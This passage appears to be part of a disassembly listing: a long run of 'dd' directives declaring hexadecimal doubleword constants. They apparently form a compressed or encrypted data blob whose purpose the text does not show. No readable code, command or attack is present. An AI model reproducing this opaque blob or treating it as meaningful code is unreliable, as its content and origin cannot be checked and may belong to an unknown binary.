0FE65BBFBh dd 35767D65h, 2FB16B2Fh, 9E56F153h, 338E57E3h, 951D7DC2h dd 0FDD432B3h, 3CE249E3h, 43695975h, 20B8F684h, 0C45E5622h dd 6219A7E6h, 9FB88EADh, 65B8581Dh, 88890F6Dh, 44551E25h dd 7310BEA3h, 1CE39ED3h, 0EFD1030Bh, 41588E4Eh, 10783FEDh dd 7FFB7DABh, 0FC175887h, 9DE98B10h, 17DB6701h, 278B039Eh dd 39AB467Ah, 570A918Ch, 7F17D4D3h, 8BEBEA5Ah, 0F7BB27C9h dd 0C5F51E45h, 9B85F46Ah, 0FBB6E2FAh, 0BFA17D7Ch, 0CD0BEC4Fh dd 317DFE7Dh, 7DAF757Ch, 4F6AE7B1h, 0A968B17Dh, 598C5F7Fh dd 0B5A2FBC5h, 3E17D7DEh, 35A21D45h, 0EADD67DEh, 9B2632B3h dd 0C656B19Dh, 0EDA7DE95h, 0ADEC039Dh, 5DD4909Bh, 0BE1755E4h dd 0BC4D0B71h, 62C91EDh, 0ECE4DFB6h, 3C0E43ECh, 33216C49h dd 238BFCACh, 2E6F3B27h, 4F92C7A6h, 0E5B4ED2Eh, 642224EFh dd 0FC9483A3h, 1186E23Ah, 0C2638AEAh, 0B855D4F1h, 4BEABD8Dh dd 0D58457EDh, 0DD18FB85h, 259F25A0h, 0C6F70029h, 1EC7746Dh dd 0F687E6C5h, 36EEA99Bh, 86BB01DFh, 8A931AE9h, 0AD5E8157h dd 988A0B25h, 0EEB3E6EEh, 98C0FF07h, 0E369E255h, 7C201EC6h dd 160A3C48h, 9A5D89E5h, 9D352883h, 0A7EA6FCCh, 79CC8FAh dd 0E17CC1B4h, 772E6118h, 46579844h, 7727A46Ch, 0D304979Fh dd 0AF1D5580h, 1ED2437Eh, 0BA7F7CFAh, 48237DB1h, 0B694F6F5h dd 1138E9F7h, 0F4259Ch, 0AA6D2E0Eh, 0BFAD672Fh, 0DAA8B1D3h dd 0B531DE3Dh, 343D7DDAh, 3907BABAh, 0D88D4C6Eh, 35763BF8h dd 0F4C111DCh, 7B5389C4h, 531971F5h, 0A77F0DEDh, 6D27EBC3h dd 0B41B66ABh, 0EAC2E778h, 0ABEDF1E3h, 0CCE290C0h, 6AECFEAEh dd 0D51D57F5h, 0BC3683C7h, 0F6BE2B41h, 0F0A40DC5h, 0D3B3637Fh dd 3DB9A03Ch, 0C8BDDABBh, 18EA9291h, 0E01EED5Fh, 0E60218h dd 0B57CC728h, 86D379D1h, 0E51E02E3h, 0E619D76Ah, 8A46765Dh dd 0BE1B2B3Ch, 607304EAh, 41F818FBh, 0EDDBE24Dh, 6FFE3C23h dd 2803B8B0h, 0F1091BA1h, 0FA9BA995h, 6C448F19h, 0E7CB451Ch dd 0E77274DDh, 345E5624h, 340F9D38h, 13FCCE93h, 1DA3D96Bh dd 0DFC27D50h, 0B2BA85Eh, 0A90DCBAFh, 0DCBAA8Bh, 0AE8DCBADh dd 0B47A954Bh, 6EA29FDBh, 0BF09607Dh, 3491C466h, 5712006Eh dd 0D5214E72h, 9ABE9C45h, 111733D8h, 54748DF5h, 0F68039CBh dd 46D38EE1h, 44CE427Ch, 375E9E68h, 0E46AFABCh, 5FA421DAh dd 42B45DC3h, 0C07AF064h, 0BD53BB13h, 0CB5DDB2Fh, 0D49E2A56h dd 1C28C38Ch, 98470F32h, 0A3FB4A77h, 879D4650h, 0BD52F045h dd 3419D1FBh, 9C640EE1h, 0FC832144h, 189292F8h, 1EB1173Bh dd 0E79F13B9h, 142C5CECh, 3FE039F7h, 0F8FCD212h, 0BCA3DA8Fh dd 3D5B4A4Ch, 732E4A4Ch, 570DD45Fh, 51A043A6h, 78416EBEh dd 0BAD082DDh, 4416EB1Bh, 0FA974F57h, 0B9363831h, 3E30168Fh dd 5A856A37h, 295D97A7h, 922B35DAh, 0DE6B8704h, 670F48C6h dd 55EECCE7h, 0DCFAB178h, 694EE4B1h, 0E4A680FBh, 28E78C73h dd 0E8F13B9h, 9E3677A0h, 78BE0E72h, 6A19DE2Ch, 0FA48D3E8h dd 32AA427Bh, 696AB3Ah, 33995EBBh, 63F8C8E6h, 9E121EC4h dd 94D89CEAh, 1AA60A4Ch, 12DCA5DBh, 5B8FDEDFh, 0B290F0AAh dd 0FA1ABE23h, 0E7B8954Fh, 0AA8DE074h, 0F708C778h, 0DA3C87C8h dd 3C37DDD3h, 0C44A4C44h, 5D897260h, 1F6E5F65h, 0B2614C0Ah dd 0CA22E112h, 74105340h, 82F2BE8Bh, 0B0D48FD0h, 0C5302F3Fh dd 5FC67CC8h, 8B11D93Fh, 0EE9C3823h, 885B863Ah, 0B36E3A84h dd 738FE090h, 5F2536Ch, 0B06DC996h, 0F6DC5290h, 1779BA84h dd 116CDDAh, 24C7260Bh, 30C5808Bh, 0C57D8F5Eh, 65BDC631h dd 0F730B7ABh, 0A614F56Dh, 5C213188h, 0A8C027A0h, 0C9D8172Ah dd 0C6E4725Fh, 2C3443A6h, 35C431Ch, 718C21F3h, 1931ADE9h dd 1FB05051h, 3D8E160Ch, 55E18EF1h, 364A3F19h, 884B0310h dd 0BC035847h, 2E43976Dh, 823A951Eh, 83DA5C06h, 28598C57h dd 81EF0AD4h, 976646DEh, 0CFBE77BAh, 0A09EAA54h, 0EE11F12Bh dd 121EADA0h, 32B616E4h, 91D71F36h, 0B9388FB6h, 0F8A44A5Dh dd 0BC09342h, 27A75E13h, 0E8307056h, 0B02277B2h, 4A7CBF85h dd 243A43D4h, 0D8F4A3DBh, 2B9B2C39h, 15B7E74Bh, 7FEF736h dd 19FF4689h, 81D01457h, 0D5E9D19Ch, 19D19C81h, 0E1EE3B8Ah dd 9645E2EFh, 63094E8Ch, 0FF68F4A1h, 4E5CE26Fh, 31C2BDE0h dd 76A000C4h, 9567726Dh, 36B533BDh, 73885069h, 0AAE34D42h dd 91C98BD8h, 0D8D18E41h, 0FC0841B2h, 14DAAE53h, 74B4066Ch dd 0E236EB1Bh, 44F41B83h, 0C0739C6Ah, 522B858Dh, 0C1C50EC4h dd 0BD3D7048h, 232A1024h, 7A34A7EDh, 0D57608C1h, 7AB74396h dd 0C45AA7EEh, 58739F6Dh, 23ABDAD5h, 0C79F0488h, 0F5C0BC05h dd 0BC6CFC4h, 5ADDEC48h, 0CE53F787h, 7FDC72A7h, 0EAE249D9h dd 0C3D95771h, 844AD77h, 2ED316EAh, 0EC624F98h, 38E882DEh dd 0ED4E573Dh, 0F77D9386h, 5FDEF639h, 7C8D2D24h, 7B8CFD24h dd 0ACCF62F3h, 3E2F38C6h, 3B1C5779h, 0E4F4E10Dh, 512CF54Bh dd 0BE041329h, 77375825h, 4E354312h, 0A3FB3179h, 0EBBF913h dd 4F7F2F1Bh, 215E6DAFh, 3620D0CEh, 176F367Fh, 5AE07CDFh dd 181A694Fh, 0EBE30D0Fh, 8917AEEh, 0C6FD666Ch, 0DBD9EF8Eh dd 77B0B3A6h, 4771A429h, 29B38E89h, 0E36EB227h, 0AE9A0405h dd 0DAC8EB8h, 8F3BE5C2h, 8F08A36Bh, 169E43Ch, 0B7652847h dd 28F6C3FEh, 5AD43377h, 38FBEB56h, 0FB9FB807h, 2D13211Dh dd 0A1CBA1C7h, 85CA39F3h, 740B9552h, 0BA9ED4A2h, 0A8A96536h dd 763DCAE8h, 7C1A0F3Bh, 8352719Ah, 0C8639CDAh, 0A62879C4h dd 847F72E1h, 3737897Bh, 8477FDB7h, 0DBE2B3h, 73CB90FDh dd 5BBCC597h, 0C225671Fh, 914B1D16h, 35DE2423h, 8583FDC7h dd 0C99CAFB6h, 8490DC16h, 0C99C914Eh, 15D1BC36h, 0A0B3F874h dd 0A1490388h, 0A887D921h, 0F8D337DAh, 4FA6032h, 0FA90E20Fh dd 0AA90B0F4h, 5FB7D69Bh, 1AAF01B7h, 1CE1BCD3h, 0AFF67A26h dd 426D3262h, 30676763h, 13EE1476h, 63DEFC5Bh, 2B774F98h dd 0DAE719F5h, 0D2AEB21Ah, 14EDA4E6h, 7B6DDD33h, 0ADB67998h dd 6DAD9991h, 0A67998DBh, 0F7331F6Dh, 93A6A5B4h, 76DB079h dd 85B4D773h, 0ADA1B332h, 6D55998Ch, 3B57D9A1h, 0E3FAA21Bh dd 0D82D6854h, 8E33EBF7h, 9957DB6h, 2CF9331Fh, 7DFF8F83h dd 3A1BE50Eh, 290BA10Bh, 284BA334h, 0AE519FEEh, 6F08D9E6h dd 0DD89F0A0h, 0AEDD93C3h, 0D5F44850h, 0B80EFC87h, 0FB866E7Ah dd 6CB5032Eh, 338691E8h, 0D2C3A094h, 0C67D4125h, 56DB6E9h dd 6DBDCE54h, 843660FBh, 0BBDA2186h, 1EF868DEh, 0BDB6F694h dd 737B405Ah, 0BB1EF158h, 0F6D91AC7h, 0D547DE6h, 93DBB04Ah dd 393361A0h, 6FA6F21Fh, 8DEE4338h, 184F73Eh, 0EE7D3B70h dd 7BB6E435h, 6A8638DDh, 0EDE4CDCBh, 1EB3272Bh, 6D9D4DC7h dd 0A6F26737h, 0E22F30B7h, 0FCFB6929h, 0EBD2B225h, 408F6D09h dd 33436AA1h, 0E96D1465h, 0EAF65D64h, 0B781BD9Fh, 65EB21EDh dd 0F5B6F00Ch, 0EFE021D4h, 0D3ECF586h, 0D9C92564h, 4BE622B6h dd 0F36DE8F7h, 0C886D61h, 98EF4647h, 2E7D5191h, 0A2CF3E79h dd 0A2AEC7EEh, 111FEAEDh, 0FFE14F1Eh, 5312F330h, 0DBCA8A1h dd 84FBE4F9h, 9D7F7BB9h, 499DAB6Bh, 8F0E762Dh, 0A5ADB41Dh dd 0A8A16E92h, 0F52A3CE5h, 0B14CE167h, 0E6DA4345h, 0A41F851h dd 0A9C3C99Fh, 0F069DC1Dh, 8B4F256Ch, 687C27B9h, 0C87841C8h dd 0EC8F8440h, 5C784E16h dd 0A58BE54Bh, 0DD4D5FF0h, 0E9B5CFC3h, 1E0AA27Fh, 0CFD60AA4h dd 59036B24h, 0ADE19EDFh, 0EEB31376h, 5841EB23h, 5E51B61Bh dd 3579637Fh, 94FEC9B8h, 99885F37h, 19B7DCD8h, 5751F489h dd 0A7A2A44Eh, 0BB94420Eh, 9E171479h, 0BF056A18h, 23130466h dd 0B5957F3Bh, 669B7E4Bh, 39AC55DFh, 96DA1EC8h, 0AE6C4876h dd 6037B6D0h, 0C943586Dh, 502FC513h, 6DCDB53Bh, 760299BBh dd 0C0B8C050h, 0F9D0B92Ah, 0F0232FB1h, 0EC0E0528h, 0DB47BEA1h dd 0B8455F9Ah, 35BFC29Bh, 849ED0F6h, 24FF1BD9h, 6DAC8976h dd 9D888BDCh, 0D97CB545h, 0AE75C848h, 7C14F52Dh, 0F3E023C2h dd 7BE9EE97h, 0DB685FAAh, 0BF5167ACh, 59A53906h, 0E8869015h dd 0C847E54Ah, 0E6C296AFh, 0B69E54F5h, 34B71C28h, 8B70A5ECh dd 0CE7D7BB1h, 49BC35B6h, 0FEA52FFDh, 353D39EFh, 0FF852C56h dd 0FE9EE86Ah, 9E035B64h, 0A7486E03h, 3D0D8FF0h, 65E12FE0h dd 6ED39E03h, 5E514AD8h, 10D28C08h, 0DFFA9835h, 0EEBF1BE0h dd 0F01089B6h, 0FE42D86Fh, 0E3F3DDF5h, 2FF9D783h, 0D8651A4Eh dd 0A41C371Ah, 0DE0C8BA8h, 2FFB90F1h, 0CCF277C2h, 5E9E9EE8h dd 4752FEA9h, 4650D5F8h, 181719E5h, 0D5FFCC45h, 8DFE785Fh dd 10D7D450h, 82F1043Eh, 7D53F9BCh, 0C6CD74ECh, 0D61199E9h dd 0F9453D06h, 0DB3CCF54h, 67C3270Ah, 0AEBCF92Eh, 86FDFAEFh dd 4E7FF256h, 0D1EFABEFh, 6CE9DCB6h, 0B14CE0D0h, 0A481432Dh dd 0CA21D7F9h, 0FC717A03h, 0A7E9B4B6h, 0E790FF53h, 0FD4F7D5Ah dd 89043B97h, 9E7C296Ah, 39F1C7BEh, 69116892h, 0C89B6CE2h dd 0A9F48DACh, 0E9A923D1h, 7EADD528h, 4FEBEAA9h, 97F5427Dh dd 643DBC53h, 951A617Dh, 0B0C7CB6Eh, 86DF0B3Eh, 0B92448DCh dd 889313A0h, 0F70B31EDh, 286B0D76h, 605D43E4h, 29E0427Bh dd 0AF193E60h, 509F3E2h, 4F6D09E0h, 0EE19D9C8h, 0C34862C1h dd 1E7CA1Eh, 7D960D1Dh, 0B95E736Dh, 324CCCCAh, 5B5C15D9h dd 6A0DAC2Ah, 2DB478DCh, 0FF16F1D7h, 460A9B2Ah, 0B258733Eh dd 8A18B696h, 0D27C9A73h, 50AF38C4h, 0A3E4CB9Ch, 0DAE73E63h dd 84893FA4h, 5FEDAA22h, 0FD94F987h, 36198877h, 0A2C6E214h dd 0AC98886Dh, 0B46447FDh, 0D1047C99h, 3B2FBEE7h, 0D0F6E43Dh dd 0FF30EF61h, 6E6AC787h, 0E6B1E3DBh, 6B013DB6h, 0FD4A29C3h dd 7D93B68Ah, 0AD25F6C1h, 0F3B9CE58h, 3B070C34h, 0AD69EC28h dd 0DEB0CDB7h, 0F4A5E7Bh, 0F9F91C5Fh, 0C2E1676Ah, 2802E837h dd 6425DA81h, 7C3111DEh, 83BCF0A9h, 5C00FC62h, 0EF047799h dd 54356000h, 50988A58h, 0D6FF0A55h, 0AF698856h, 9F58E581h dd 4E7A44AAh, 0BE8120BEh, 0CF614854h, 0E5C250D7h, 56F62C4Ah dd 0B3B7D651h, 9077E7A0h, 0FE6857EFh, 0D5F21AC2h, 81BA5F70h dd 1672DF73h, 0EF91F7BEh, 6D9B3C8Dh, 0C78EBF64h, 2118A068h dd 0F249E314h, 0C59E35FDh, 1FF64BD8h, 3EAFDD98h, 9A88C0FFh dd 2A79E477h, 942CDB45h, 950FA9BCh, 0CB0A02E5h, 0A786DFBFh dd 37D93A94h, 71C33EDBh, 0CA74F3D4h, 0C4EA36DBh, 95F64ED5h dd 0EFC9D7B6h, 0FF2DB279h, 5F61948Eh, 0F9CFFDFBh, 24151DCDh dd 35807DCh, 6DC0628h, 1C60330h, 620A8C46h, 88EF671h, 0BC015E12h dd 0B80B380Dh, 21B90800h, 50061848h, 0CC036E02h, 56021405h dd 3C01EE03h, 0D80BD80Ch, 0F80A380Fh, 5C06E010h, 7458405h dd 18805109h, 0A901680h, 40EC06C8h, 0D6606BBEh, 0D01D92h dd 3700538h, 23A1003Ah, 0B700E91h, 2480F40h, 0F7C18F64h dd 2C404601h, 4201860h, 90746170h, 55F909B0h, 73000A02h dd 9FE02B01h, 280B5302h, 7900BD84h, 0CD78827Eh, 7D808380h dd 826E3780h, 0F007B01Dh, 60136030h, 20296035h, 0B005301Bh dd 0B6F103h, 80F900AAh, 407200DBh, 0C22AE014h, 1B9C51CFh dd 10E01F91h, 5A024E0h, 47E015F0h, 5FA40840h, 310123h dd 0B0052035h, 0B002B010h, 0B01DB005h, 70007017h, 0E036F014h dd 6032E02Ch, 18EF218h, 0DC9F0128h, 0CF07FBC4h, 90E1542Eh dd 8F670AA2h, 0AF8DE055h, 36156F82h, 57312495h, 0DA070385h dd 0F85508DAh, 2E60216Eh, 5202660h, 24C0460h, 0E791BE8Ch dd 0E9ED1F33h, 0EC026C00h, 0FFA10400h, 374C22Fh, 28E034Eh dd 71E48FF6h, 1A76111Bh, 0E29670h, 22B889F6h, 0DD4111Dh dd 0EE135CC7h, 4293214Ch, 0A0B070F0h, 9062090Fh, 0B79AFB09h dd 7A0CD225h, 1266102Fh, 0A730CDCCh, 330ADCC0h, 8A13C85Bh dd 7B0EDF61h, 942A508Ah, 0BB058B0Bh, 1CB01330h, 0F13015AEh dd 0A6C22972h, 2BE815C1h, 7E594708h, 0BB7A476h, 0CEFD10Eh dd 328412FCh, 0F409A5FCh, 1D2144ADh, 4BD8F065h, 0FF0CBE91h dd 9762097h, 97E0C8D2h, 612ED2C7h, 0AD822EDFh, 293E582h dd 259BE53Bh, 9E0A42ACh, 634B1A77h, 0A402BC47h, 537CCC5Ah dd 0F2172B61h, 0E4CC9585h, 769032F1h, 14CF68B9h, 660C8412h dd 0B35BE326h, 0E4348750h, 9B0C5B39h, 4842C80Dh, 452EE886h dd 0BC808ECEh, 474FDF3Ch, 0CEE08B9Eh, 0FFC72C03h, 0E2073A54h dd 1887491Bh, 46CC656Ch, 3A8472F6h, 98412251h, 62957484h dd 0D584933Eh, 0DA265348h, 4586D0F3h, 445A9DA2h, 0EB53B5E5h dd 0F897FCFAh, 75CCEDD9h, 1DBED1Eh, 22477D08h, 1520355h dd 80650173h, 0C01A8035h, 0C01EC036h, 6098C041h, 0DC8D1F8Eh dd 161BC948h, 0AFB3CEFEh, 0C9BC1A9Fh, 3F4E342Ah, 0CDC979FEh dd 27541349h, 7835396Eh, 1FDC357Fh, 5F57AE48h, 0DB9FC9B0h dd 17E0E6F6h, 119E16EFh, 0C0637A5Eh, 0BA043F87h, 80A09085h dd 0E23FE8FCh, 4E3A5C7Eh, 1006AE90h, 0CD3B9DBEh, 69C2EDF1h dd 0A71D6F8Eh, 0BC85BE39h, 0F0B7C3EBh, 0B7C77B77h, 0C67B77A8h dd 0DDBBF537h, 0DDFD2DF1h, 8DF1B3FFh, 1EFCD3DAh, 0F7A4CF6Fh dd 0BFA67B78h, 0EB33DBC7h, 0CE7B5F3Dh, 0F6F7AF7Dh, 0E7AF7C2Ch dd 0AF79ACF6h, 7F6E7B7Bh, 0F6ECFFEFh, 8B984BBCh, 0D6138DAFh dd 9F1FF4C2h, 0B2CAF645h, 0FB72D2E2h, 0F3257B24h, 0AC42D58h dd 30B90473h, 0F3083051h, 4902F184h, 7E64AF9Fh, 8D5BF079h dd 0EE144D52h, 0C20886F0h, 8D1B089Dh, 7FF8F9D0h, 0D1FF21Eh dd 0BBF035FFh, 0CADDF995h, 0E3156EFCh, 207FC096h, 0C4281D0Bh dd 0E5F06109h, 0DF7E85FEh, 0B014AFA4h, 2D20A4AFh, 280FCF0Fh dd 0DC5BF713h, 64289943h, 0A197F311h, 0DC6F0E96h, 3716EBCh dd 0DB5C22F3h, 6D71C2D3h, 0B5C70B5Fh, 6B8E1686h, 5C3E2D8Dh dd 1DE96E6Bh, 0F4B74ED7h, 5BE76B8Ch, 0E85AE3BAh, 0E367FF07h dd 2257C2DAh, 7D2E342Fh, 0B781F073h, 7C5F3B40h, 95873731h dd 0AD3ED79Ah, 2F2F61C4h, 0C9643BB1h, 17CAEF1Ch, 57CBDA64h dd 1E19CBD8h, 0DCC7A614h, 67DEEBB6h, 0E768B65Bh, 76BEC359h dd 0F367B73Dh, 0E10D1BCAh, 0F8FE9E5Fh, 0B3F30F9Bh, 8B534CCh dd 61049AB7h, 0ACB95E45h, 41916652h, 17B339D1h, 66563B16h dd 69395DC0h, 71639E79h, 0F264EC61h, 0CDCEC4B0h, 72763F1Fh dd 189358D1h, 39CDC71Eh, 14E3798Ah, 0A14CA332h, 0F4C49B94h dd 80E2C70Eh, 0A5FB70E4h, 0CC71A166h, 4A45A4F0h, 24A4B74Ah dd 0FB70B3F0h, 71A163A5h, 874BF0CCh, 6014966Ch, 998F532h dd 5737F9F9h, 0A0166058h, 0B307445Dh, 385495A7h, 0C98B8AF2h dd 0C5DA5BFDh, 4A5C5E59h, 3B11E526h, 51E424D6h, 9EF9791Eh dd 4776A9B0h, 218BC7ACh, 0F114733Dh, 238D746Fh, 9E78B37Ah dd 0BBE67A72h, 5A4162ECh, 72144802h, 0C3B51F98h, 19D415CDh dd 0DF505737h dd 0C46E367Ch, 7EEF3F8Bh, 32FDF073h, 84C16AA1h, 563BF953h dd 0DB53D208h, 6614A904h, 969043A3h, 0A79B939h, 0F380AD0h dd 8726F2D8h, 0D2088F7Dh, 3E4A762Fh, 5E97EF1Ah, 5854867Dh dd 0C882EC09h, 98F657FFh, 947F8D20h, 51BF1DE7h, 16AD5690h dd 42003BA4h, 8619F235h, 9BE3077Ch, 4E5E638Fh, 896C164Ah dd 11FCC2C9h, 7A07A912h, 74F27B8Ah, 0F9A9DFCFh, 0DB7FC3FBh dd 2908C2FFh, 233F85F4h, 0DBF647A8h, 0E520B8F1h, 76104934h dd 70AD0CA0h, 8650BAB7h, 5AAF51FBh, 6A4116C0h, 0EA01DFBh dd 0B084DA65h, 87F6107h, 76187EF5h, 6C750D80h, 0B51DBA45h dd 29CD281Ch, 2FAD6B40h, 0DBF2154Dh, 89746801h, 0EDA930E1h dd 9FF0EBFDh, 36D3D2DAh, 0DAF9B7E7h, 7C1CE166h, 51F0B003h dd 0CA12075Eh, 3C5DA9EFh, 597486F1h, 587A48F3h, 3FBBF903h dd 8BF7D2EFh, 8B65F2F2h, 21C2AF3h, 0F7886BA3h, 1876CA0Ah dd 0D80403F9h, 0C1B4C14Fh, 407F278Ch, 8D6C015h, 70863FFh dd 89B04548h, 1D80550h, 3F097590h, 4DF48CDFh, 0C2900748h dd 2FF7272Eh, 0E1CCDB88h, 201F6014h, 0DE581245h, 536AA099h dd 0BE88EB41h, 5DE914CDh, 3E5BE806h, 5744B1D6h, 0F37C017h dd 3FABAE94h, 71B43FC3h, 0A7D6D895h, 0B7C5DE08h, 0B70AA660h dd 48D9D723h, 7D2929CBh, 27F21A63h, 52D874F7h, 8CA9BDF0h dd 25E27B26h, 0CC69FFE1h, 84BC404Ch, 0CC1B3080h, 1D334899h dd 6C2067FFh, 0EE49721Ah, 462CEE25h, 0D9B267BFh, 1D3FDFCCh dd 371113A9h, 23CA761Dh, 0C8696111h, 0BC4BB929h, 0E4F5E5AEh dd 1D271817h, 90B26439h, 0D33ED64Ch, 0C62597F1h, 0CCBD6449h dd 366C49EDh, 9F9B76E3h, 0A668967Dh, 4F09F38Bh, 3ECFCB37h dd 0E4F63BD3h, 564C6CADh, 0D744C0C5h, 0A4C14555h, 6614A7FDh dd 6141ED30h, 0F2F43ED2h, 0ED2912A7h, 0C4C1CF45h, 0F35576F5h dd 0EEDD3CA7h, 35BA794Fh, 0F974F29Fh, 0FA74F29Fh, 68BA794Fh dd 4F85DD31h, 9404BA78h, 0C3CE26D4h, 1A7C168Ch, 863BEF88h dd 0AF7D51FEh, 7E0D4FDh, 0CF64136Eh, 68CDED36h, 57A414EBh dd 44829100h, 1A403AAh, 56C035Eh, 0D2244884h, 19F30EDh dd 9D2005FCh, 0AC40F93Dh, 0FC1ADFDh, 0CB84160Fh, 6C0E06A3h dd 4A1BA4B5h, 0DE0F6FCDh, 1FF61770h, 0D3FF56ABh, 60F5F43h dd 71076C61h, 0E1EE445Ah, 155350C1h, 799373ECh, 43BBDC1Fh dd 343410A0h, 0B859FFD0h, 7F4609E9h, 20DB461Ah, 0AF079F59h dd 9E69A7F7h, 3FD79F8h, 161A7FD3h, 111A9EE8h, 0F60FD6E8h dd 910C27B9h, 243E548h, 88E0FC3h, 0DD167F74h, 40C8FD25h dd 0DC5D37F7h, 6E815186h, 0EE818DF5h, 0BBA05958h, 0A6EE26EEh dd 1EEC2E5Fh, 29B96FFh, 831C0DE3h, 57B44343h, 0A0180C44h dd 0B2559F61h, 6574A4ACh, 0B95ECC89h, 28E65ED8h, 5C212D2Ah dd 0F1D98683h, 0DBA53862h, 0FA448B74h, 68A32038h, 45697971h dd 96438169h, 0CCE1545Dh, 8E25962Bh, 0E99B2F1Fh, 2D14712Ch dd 8BD2CBB7h, 95E79516h, 596C62AFh, 0CA4BA5E5h, 0E91B96F3h dd 830EC25h, 349A4C06h, 71973049h, 1E49594Fh, 57F93B22h dd 65EB98ADh, 5059C8Bh, 295972F6h, 0CEE53E16h, 5E615912h dd 0DD916C85h, 0B7CB225Eh, 1D8BEC3Bh, 0CAD97CF6h, 85C5A2C2h dd 29717FCCh, 9F9194A2h, 132ED0A3h, 22B5BC73h, 0A42D88ACh dd 0D5CC2050h, 9924FB0Eh, 0C17CB2Ch, 52525BAAh, 0E45590EAh dd 578BD815h, 0B7140B21h, 854769C4h, 549D8BEDh, 495E5961h dd 0B3B96CBEh, 228611C2h, 0E432D3E1h, 4A8BCB5h, 0A4FE519h dd 9604A613h, 9BA853CEh, 209D6D3Ch, 0E53E40ABh, 32558E45h dd 0CC4528C4h, 0F0ED4F02h, 0FD856765h, 0AC2855DFh, 7EC90A97h dd 0FEC2857Bh, 3D64854Dh, 4F3F0855h, 5E4B7B9Fh, 0EC545790h dd 0D7FBB72Ch, 0B5FDFA8Eh, 37D2255Bh, 4FE1F56Eh, 0C6682C67h dd 87BC3F58h, 10363E5Dh, 71C7B2BFh, 9BCC3477h, 0F9FC71C7h dd 0E3FDCC33h, 9B8DE302h, 0E305DDC0h, 0C6E7D225h, 931178F3h dd 26EBD224h, 497BC605h, 13E5C3E5h, 5714A7B0h, 0EDDB94A4h dd 0BB4CCC02h, 0D8AF3B23h, 0FD53ECC9h, 0C5C509ECh, 0FE298BA5h dd 175D5A32h, 0F29394ABh, 3FCEBAF9h, 12B587DFh, 79696269h dd 3916572h, 5ED8BAE8h, 0F2C46D81h, 0DD87F40Ah, 0E27BA2CEh dd 2C0E4DCDh, 0BB9FA74Fh, 956C0D20h, 3F7CBC69h, 9004BCC1h dd 0B47F8109h, 0B27FE39Fh, 8A97F0DFh, 0FDDFFCC9h, 17F0F4D5h dd 0C4836318h, 7F5BF7F7h, 96EFE9FEh, 7E82FEF8h, 2D279FE3h dd 5049778Dh, 0BE9F4870h, 87FB42FDh, 381F080Dh, 783A4228h dd 439175C8h, 0BA8F0D87h, 0D10DC47Eh, 28DD4723h, 98F469BBh dd 0B96F9B98h, 0B8EC7635h, 4E2613F1h, 28572C9Ah, 568D6A55h dd 4D1837A7h, 2E358B66h, 624A613Eh, 0D4CA7252h, 6EDBB4D4h dd 3698CF4Fh, 666336DDh, 549E1666h, 0C77D9DCEh, 0E6F3B99Ch dd 0B798582Fh, 0BDBE7168h, 0D1614960h, 0CBC565D2h, 0EECB4A4Bh dd 3870AF2Ch, 5CACAC57h, 35AEFAB5h, 17ADD76Bh, 641713D2h dd 932465A5h, 46566D39h, 4C34CCF2h, 4C67B0C3h, 959C969Fh dd 0D9367330h, 0DB66B313h, 0F64F84D8h, 9E9E9E9h, 9ECCC959h dd 82E9E90h, 0C04D260Bh, 2ECC0099h, 32C72F8h, 0B4C0F73h dd 0FFE7C981h, 0DD1F2CF8h, 0D7F9BFFDh, 0FF63971Dh, 0DFBE6357h dd 0FE37E49Fh, 0DFBE6005h, 0FC6FD05Fh, 6BFCC7F3h, 377FF018h dd 0FD1FFBEDh, 0A7F54FFBh, 0F9FC48BFh, 24C3FCBBh, 6BAFD5FFh dd 0F2FFA0FCh, 0F5742A4Fh, 0E9FC4891h, 81B9E8E5h, 85CEE6F3h dd 795DEE81h, 7E496E81h, 2E9DFBA0h, 977B36EEh, 9F12FDF5h dd 9122515Bh, 6E7C4A6Ah, 0ABEC27h, 94D2E2E5h, 0F6B0CC2Fh dd 2B27EAC5h, 26667A7Dh, 90A721F7h, 0AA6D3699h, 9A48539Fh dd 3690919Eh, 5333E7CDh, 61A572Bh, 0AC44D86h, 9642A8ACh dd 5C565657h, 0AD8F38B4h, 1865C4B2h, 159D0AADh, 0D84B2545h dd 0B16F2E12h, 5D8568A3h, 562D586h, 9062C1C5h, 0E70B7D7Ch dd 3C869849h, 5B30E64Bh, 0B0F3DB1h, 21C15A44h, 0FBEF4F1Dh dd 15819600h, 0D2B2B2CEh, 0B1D88472h, 1D402BECh, 827D6396h dd 0CBAC21C5h, 0AC499C59h, 3D4654D0h, 9259D195h, 0EB18A8B7h dd 29C452BDh, 15E51472h, 0FAC6AD17h, 0C6579ED3h, 74F146EBh dd 6DCA8F14h, 2E75292Fh, 94559429h, 0B3B62DE5h, 574B8BBCh dd 6425F916h, 69D2FBF9h, 0E1574D7Bh, 0E937FFC8h, 8CAE9434h dd 8A2B9716h, 69B41DCAh, 2C967028h, 0B8B01B16h, 757E5BD8h dd 282FF9AFh, 9563B12Dh, 57EB1936h, 55073218h, 0C2BF9BD1h dd 0D2EF5810h, 0D1B42C32h, 0C5A515A0h, 515D9CB4h, 0AE2FD8B4h dd 0E53846D8h, 6A70EBE7h, 0A7BEFF19h, 712EBA38h, 1D8B3B96h dd 72C28E45h, 0B06FCE3Bh, 35D65CACh, 22EDEF7Eh, 73CFCA26h dd 0C0FA21E4h, 44086EB0h, 0FB72831Bh, 857B4E9Dh, 0D9E00367h dd 0DE22A14Bh, 750CBB35h, 3D35A22Eh, 0BB64E54Ah, 0AB7995AEh dd 0C4CFFD26h, 0D7A1B91Dh, 0D04BD83Ah, 0CB25A56Bh, 0C40E25EDh dd 5EFAB8A6h, 2F95E6E3h, 0AC45271h, 8A4ABE6Fh, 8A5C505Bh dd 947861CFh, 0C3576295h, 0DF27C292h, 0A1B62F9Eh, 6A64E558h dd 0C2C29BD6h, 588EF7FCh, 0F36B8BD4h, 0FC92A29Ch, 0E9995D2h dd 9FF27056h, 9F2F6155h, 0FA2968BEh, 0A357CD28h, 1D269E04h dd 6C096CC7h, 0CB4ADA1Ch, 8FCC659Ch, 423679BBh, 5BCC7206h dd 5A529F62h, 87602099h, 43BFEE56h, 7E97D0F0h, 0CD382E78h dd 0B112883Bh, 16D3424Dh dd 0EA19DA67h, 67E49426h, 24951596h, 7EF0A296h, 91C7C4EBh dd 7CAB4FE6h, 0D593E874h, 80E7E912h, 0F2E354D4h, 760AC6E5h dd 0DF8F9151h, 7E065904h, 0C2ACB232h, 98C8C84Fh, 793F9F9Ch dd 0E33BDF15h, 90012828h, 5F6C5F64h, 5DF88BEh, 0D3EEC34Ch dd 0D8BE9F63h, 4CD64A51h, 9E3DD6ECh, 4E25CE09h, 0CDBC593Ah dd 0B8F2CC59h, 0F6CBF80Dh, 45E565A6h, 0BC8CAD54h, 7485C5F2h dd 545F6368h, 